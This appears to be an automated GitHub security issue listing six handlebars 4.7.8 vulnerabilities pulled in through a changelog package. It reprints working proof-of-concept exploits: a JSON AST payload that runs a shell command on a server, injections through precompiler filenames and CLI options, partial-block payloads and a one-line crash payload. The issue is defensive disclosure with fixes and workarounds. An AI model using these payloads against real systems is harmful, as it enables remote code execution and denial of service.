Skip to content

conventional-changelog-storm-software-0.3.141.tgz: 6 vulnerabilities (highest severity is: 9.8) - autoclosed #1254

@mend-bolt-for-github

Description

@mend-bolt-for-github
Vulnerable Library - conventional-changelog-storm-software-0.3.141.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Found in HEAD commit: 4aa27cc0191414a84d5a49cb36efd9ae5a144edf

Vulnerabilities

Vulnerability Severity CVSS Dependency Type Fixed in (conventional-changelog-storm-software version) Remediation Possible**
CVE-2026-33937 Critical 9.8 handlebars-4.7.8.tgz Transitive N/A*
CVE-2026-33941 High 8.2 handlebars-4.7.8.tgz Transitive N/A*
CVE-2026-33940 High 8.1 handlebars-4.7.8.tgz Transitive N/A*
CVE-2026-33938 High 8.1 handlebars-4.7.8.tgz Transitive N/A*
CVE-2026-33939 High 7.5 handlebars-4.7.8.tgz Transitive N/A*
CVE-2026-33916 Medium 4.7 handlebars-4.7.8.tgz Transitive N/A*

*For some transitive vulnerabilities, there is no version of direct dependency with a fix. Check the "Details" section below to see if there is a version of transitive dependency where vulnerability is fixed.

**In some cases, Remediation PR cannot be created automatically for a vulnerability despite the availability of remediation

Details

CVE-2026-33937

Vulnerable Library - handlebars-4.7.8.tgz

Library home page: https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

  • conventional-changelog-storm-software-0.3.141.tgz (Root Library)
    • conventional-changelog-writer-8.4.0.tgz
      • handlebars-4.7.8.tgz (Vulnerable Library)

Found in HEAD commit: 4aa27cc0191414a84d5a49cb36efd9ae5a144edf

Found in base branch: main

Vulnerability Details

Summary "Handlebars.compile()" accepts a pre-parsed AST object in addition to a template string. The "value" field of a "NumberLiteral" AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to "compile()" can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Description "Handlebars.compile()" accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in "lib/handlebars/compiler/javascript-compiler.js" emits "NumberLiteral" values verbatim: // Simplified representation of the vulnerable code path: // NumberLiteral.value is appended to the generated code without escaping compiledCode += numberLiteralNode.value; Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //" as the "value" of a "NumberLiteral" causes the generated "eval"-ed code to break out of its intended context and execute arbitrary commands. Any endpoint that deserializes user-controlled JSON and passes the result directly to "Handlebars.compile()" is exploitable. Proof of Concept Server-side Express application that passes "req.body.text" to "Handlebars.compile()": import express from "express"; import Handlebars from "handlebars"; const app = express(); app.use(express.json()); app.post("/api/render", (req, res) => { let text = req.body.text; let template = Handlebars.compile(text); let result = template(); res.send(result); }); app.listen(2123); POST /api/render HTTP/1.1 Content-Type: application/json Host: 127.0.0.1:2123 { "text": { "type": "Program", "body": [ { "type": "MustacheStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["lookup"], "original": "lookup", "loc": null }, "params": [ { "type": "PathExpression", "data": false, "depth": 0, "parts": [], "original": "this", "loc": null }, { "type": "NumberLiteral", "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //", "original": 1, "loc": null } ], "escaped": true, "strip": { "open": false, "close": false }, "loc": null } ] } } The response body will contain the output of the "id" command executed on the server. Workarounds - Validate input type before calling "Handlebars.compile()": ensure the argument is always a "string", never a plain object or JSON-deserialized value. if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build ("handlebars/runtime") on the server if templates are pre-compiled at build time; "compile()" will be unavailable.

Publish Date: 2026-03-27

URL: CVE-2026-33937

CVSS 3 Score Details (9.8)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: Low
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: High
    • Integrity Impact: High
    • Availability Impact: High

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-2w6w-674q-4c4q

Release Date: 2026-03-27

Fix Resolution: handlebars - 4.7.9

Step up your Open Source Security Game with Mend here

CVE-2026-33941

Vulnerable Library - handlebars-4.7.8.tgz

Library home page: https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

  • conventional-changelog-storm-software-0.3.141.tgz (Root Library)
    • conventional-changelog-writer-8.4.0.tgz
      • handlebars-4.7.8.tgz (Vulnerable Library)

Found in HEAD commit: 4aa27cc0191414a84d5a49cb36efd9ae5a144edf

Found in base branch: main

Vulnerability Details

Summary The Handlebars CLI precompiler ("bin/handlebars" / "lib/precompiler.js") concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Description "lib/precompiler.js" generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist: 1. Template name injection // Vulnerable code pattern output += 'templates["' + template.name + '"] = template(...)'; "template.name" is derived from the file system path. A filename containing """ or "'];" breaks out of the string literal and injects arbitrary JavaScript. 2. Namespace injection ("-n" / "--namespace") // Vulnerable code pattern output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};'; "opts.namespace" is emitted as raw JavaScript. Anything after a ";" in the value becomes an additional JavaScript statement. 3. CommonJS path injection ("-c" / "--commonjs") // Vulnerable code pattern output += 'var Handlebars = require("' + opts.commonjs + '");'; "opts.commonjs" is interpolated inside double quotes with no escaping, allowing """ to close the string and inject further code. 4. AMD path injection ("-h" / "--handlebarPath") // Vulnerable code pattern output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)"; "opts.handlebarPath" is interpolated inside single quotes, allowing "'" to close the array element. All four injection points result in code that executes when the generated bundle is "require()"d or loaded in a browser. Proof of Concept Template name vector (creates a file "pwned" on disk): mkdir -p templates printf 'Hello' > "templates/evil'] = (function(){require("fs").writeFileSync("pwned","1")})(); //.handlebars" node bin/handlebars templates -o out.js node -e 'require("./out.js")' # Executes injected code, creates ./pwned Namespace vector: node bin/handlebars templates -o out.js -n "App.ns; require('fs').writeFileSync('pwned2','1'); //" node -e 'require("./out.js")' CommonJS vector: node bin/handlebars templates -o out.js -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //' node -e 'require("./out.js")' AMD vector: node bin/handlebars templates -o out.js -a -h "'); require('fs').writeFileSync('pwned4','1'); // " node -e 'require("./out.js")' Workarounds - Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (""", "'", ";", etc.). - Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. - Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. - Audit template filenames in any repository or package that is consumed by an automated build pipeline.

Publish Date: 2026-03-27

URL: CVE-2026-33941

CVSS 3 Score Details (8.2)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Local
    • Attack Complexity: Low
    • Privileges Required: Low
    • User Interaction: Required
    • Scope: Changed
  • Impact Metrics:
    • Confidentiality Impact: High
    • Integrity Impact: High
    • Availability Impact: High

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-xjpj-3mr7-gcpf

Release Date: 2026-03-27

Fix Resolution: handlebars - 4.7.9

Step up your Open Source Security Game with Mend here

CVE-2026-33940

Vulnerable Library - handlebars-4.7.8.tgz

Library home page: https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

  • conventional-changelog-storm-software-0.3.141.tgz (Root Library)
    • conventional-changelog-writer-8.4.0.tgz
      • handlebars-4.7.8.tgz (Vulnerable Library)

Found in HEAD commit: 4aa27cc0191414a84d5a49cb36efd9ae5a144edf

Found in base branch: main

Vulnerability Details

Summary A crafted object placed in the template context can bypass all conditional guards in "resolvePartial()" and cause "invokePartial()" to return "undefined". The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to "env.compile()". Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup. Description The vulnerable code path spans two functions in "lib/handlebars/runtime.js": "resolvePartial()": A crafted object with "call: true" satisfies the first branch condition ("partial.call") and causes an early return of the original object itself, because none of the remaining conditionals (string check, "options.partials" lookup, etc.) match a plain object. The function returns the crafted object as-is. "invokePartial()": When "resolvePartial" returns a non-function object, "invokePartial" produces "undefined". The runtime interprets "undefined" as "partial not yet compiled" and calls "env.compile(partial, ...)" where "partial" is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated. Minimum prerequisites: 1. The template uses a dynamic partial lookup: "{{> (lookup . "key")}}" or equivalent. 2. The adversary can set the value of the looked-up context property to a crafted object. In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution. Proof of Concept const Handlebars = require('handlebars'); const vulnerableTemplate = "{{> (lookup . "payload")}}"; const maliciousContext = { payload: { call: true, // bypasses the primary resolvePartial branch type: "Program", body: [ { type: "MustacheStatement", depth: 0, path: { type: "PathExpression", parts: ["pop"], original: "this.pop", // Injected code breaks out of the generated function's argument list depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//", }, }, ], }, }; Handlebars.compile(vulnerableTemplate)(maliciousContext); // Prints: VULNERABLE: object -> dynamic partial -> RCE Workarounds - Use the runtime-only build ("require('handlebars/runtime')"). Without "compile()", the fallback compilation path in "invokePartial" is unreachable. - Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial. - Avoid dynamic partial lookups ("{{> (lookup ...)}}") when context data is user-controlled.

Publish Date: 2026-03-27

URL: CVE-2026-33940

CVSS 3 Score Details (8.1)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: High
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: High
    • Integrity Impact: High
    • Availability Impact: High

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-xhpv-hc6g-r9c6

Release Date: 2026-03-27

Fix Resolution: handlebars - 4.7.9

Step up your Open Source Security Game with Mend here

CVE-2026-33938

Vulnerable Library - handlebars-4.7.8.tgz

Library home page: https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

  • conventional-changelog-storm-software-0.3.141.tgz (Root Library)
    • conventional-changelog-writer-8.4.0.tgz
      • handlebars-4.7.8.tgz (Vulnerable Library)

Found in HEAD commit: 4aa27cc0191414a84d5a49cb36efd9ae5a144edf

Found in base branch: main

Vulnerability Details

Summary The "@partial-block" special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites "@partial-block" with a crafted Handlebars AST, a subsequent invocation of "{{> @partial-block}}" compiles and executes that AST, enabling arbitrary JavaScript execution on the server. Description Handlebars stores "@partial-block" in the "data" frame that is accessible to templates. In nested contexts, a parent frame's "@partial-block" is reachable as "@_parent.partial-block". Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite "@partial-block" with an attacker-controlled value. When "{{> @partial-block}}" is subsequently evaluated, "invokePartial" receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via "env.compile()". If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process. The "handlebars-helpers" npm package (commonly used with Handlebars) includes several helpers such as "merge" that can be used as the mutation primitive. Proof of Concept Tested with Handlebars 4.7.8 and "handlebars-helpers": const Handlebars = require('handlebars'); const merge = require('handlebars-helpers').object().merge; Handlebars.registerHelper('merge', merge); const vulnerableTemplate = "{{#*inline "myPartial"}} {{>@partial-block}} {{>@partial-block}} {{/inline}} {{#>myPartial}} {{merge @_parent partial-block=1}} {{merge @_parent partial-block=payload}} {{/myPartial}}"; const maliciousContext = { payload: { type: "Program", body: [ { type: "MustacheStatement", depth: 0, path: { type: "PathExpression", parts: ["pop"], original: "this.pop", // Code injected via depth field — breaks out of generated function call depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//", }, }, ], }, }; Handlebars.compile(vulnerableTemplate)(maliciousContext); // Prints: VULNERABLE: RCE via @partial-block Workarounds - Use the runtime-only build ("require('handlebars/runtime')"). The "compile()" method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only. - Avoid registering helpers from third-party packages (such as "handlebars-helpers") in contexts where templates or context data can be influenced by untrusted input.

Publish Date: 2026-03-27

URL: CVE-2026-33938

CVSS 3 Score Details (8.1)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: High
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: High
    • Integrity Impact: High
    • Availability Impact: High

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-3mfm-83xf-c92r

Release Date: 2026-03-27

Fix Resolution: handlebars - 4.7.9

Step up your Open Source Security Game with Mend here

CVE-2026-33939

Vulnerable Library - handlebars-4.7.8.tgz

Library home page: https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

  • conventional-changelog-storm-software-0.3.141.tgz (Root Library)
    • conventional-changelog-writer-8.4.0.tgz
      • handlebars-4.7.8.tgz (Vulnerable Library)

Found in HEAD commit: 4aa27cc0191414a84d5a49cb36efd9ae5a144edf

Found in base branch: main

Vulnerability Details

Summary When a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. "{{*n}}"), the compiled template calls "lookupProperty(decorators, "n")", which returns "undefined". The runtime then immediately invokes the result as a function, causing an unhandled "TypeError: ... is not a function" that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a "try/catch" is vulnerable to a single-request Denial of Service. Description In "lib/handlebars/compiler/javascript-compiler.js", the code generated for a decorator invocation looks like: fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn; When ""n"" is not a registered decorator, "lookupProperty(decorators, "n")" returns "undefined". The expression immediately attempts to call "undefined" as a function, producing: TypeError: lookupProperty(...) is not a function Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process. This inconsistency is notable: references to unregistered helpers produce a clean ""Missing helper: ..."" error, while references to unregistered decorators cause a hard crash. Attack scenario: An attacker submits "{{*n}}" as template content to any endpoint that calls "Handlebars.compile(userInput)()". Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS. Proof of Concept const Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x // Any of these payloads crash the process Handlebars.compile('{{*n}}')({}); Handlebars.compile('{{*decorator}}')({}); Handlebars.compile('{{constructor}}')({}); Expected crash output: TypeError: lookupProperty(...) is not a function at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36)) Workarounds - Wrap compilation and rendering in "try/catch": try { const result = Handlebars.compile(userInput)(context); res.send(result); } catch (err) { res.status(400).send('Invalid template'); } - Validate template input before passing it to "compile()". Reject templates containing decorator syntax ("{{...}}") if decorators are not used in your application. - Use the pre-compilation workflow: compile templates at build time and serve only pre-compiled templates; do not call "compile()" at request time.

Publish Date: 2026-03-27

URL: CVE-2026-33939

CVSS 3 Score Details (7.5)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: Low
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: None
    • Integrity Impact: None
    • Availability Impact: High

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-9cx6-37pm-9jff

Release Date: 2026-03-27

Fix Resolution: handlebars - 4.7.9

Step up your Open Source Security Game with Mend here

CVE-2026-33916

Vulnerable Library - handlebars-4.7.8.tgz

Library home page: https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

  • conventional-changelog-storm-software-0.3.141.tgz (Root Library)
    • conventional-changelog-writer-8.4.0.tgz
      • handlebars-4.7.8.tgz (Vulnerable Library)

Found in HEAD commit: 4aa27cc0191414a84d5a49cb36efd9ae5a144edf

Found in base branch: main

Vulnerability Details

Summary "resolvePartial()" in the Handlebars runtime resolves partial names via a plain property lookup on "options.partials" without guarding against prototype-chain traversal. When "Object.prototype" has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS. Description The root cause is in "lib/handlebars/runtime.js" inside "resolvePartial()" and "invokePartial()": // Vulnerable: plain bracket access traverses Object.prototype partial = options.partials[options.name]; "hasOwnProperty" is never checked, so if "Object.prototype" has been seeded with a key whose name matches a partial reference in the template (e.g. "widget"), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution. Prerequisites for exploitation: 1. The target application must be vulnerable to prototype pollution (e.g. via "qs", "minimist", or any querystring/JSON merge sink). 2. The attacker must know or guess the name of a partial reference used in a template. Proof of Concept const Handlebars = require('handlebars'); // Step 1: Prototype pollution (via qs, minimist, or another vector) Object.prototype.widget = ''; // Step 2: Normal template that references a partial const template = Handlebars.compile('

Welcome! {{> widget}}
'); // Step 3: Render — XSS payload injected unescaped const output = template({}); // Output:
Welcome!
«The runtime prints a prototype access warning claiming "access has been denied," but the partial still resolves and returns the polluted value.» Workarounds - Apply "Object.freeze(Object.prototype)" early in application startup to prevent prototype pollution. Note: this may break other libraries. - Use the Handlebars runtime-only build ("handlebars/runtime"), which does not compile templates and reduces the attack surface.

Publish Date: 2026-03-26

URL: CVE-2026-33916

CVSS 3 Score Details (4.7)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: High
    • Privileges Required: None
    • User Interaction: Required
    • Scope: Changed
  • Impact Metrics:
    • Confidentiality Impact: Low
    • Integrity Impact: Low
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-2qvq-rjwj-gvw9

Release Date: 2026-03-26

Fix Resolution: handlebars - 4.7.9

Step up your Open Source Security Game with Mend here

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions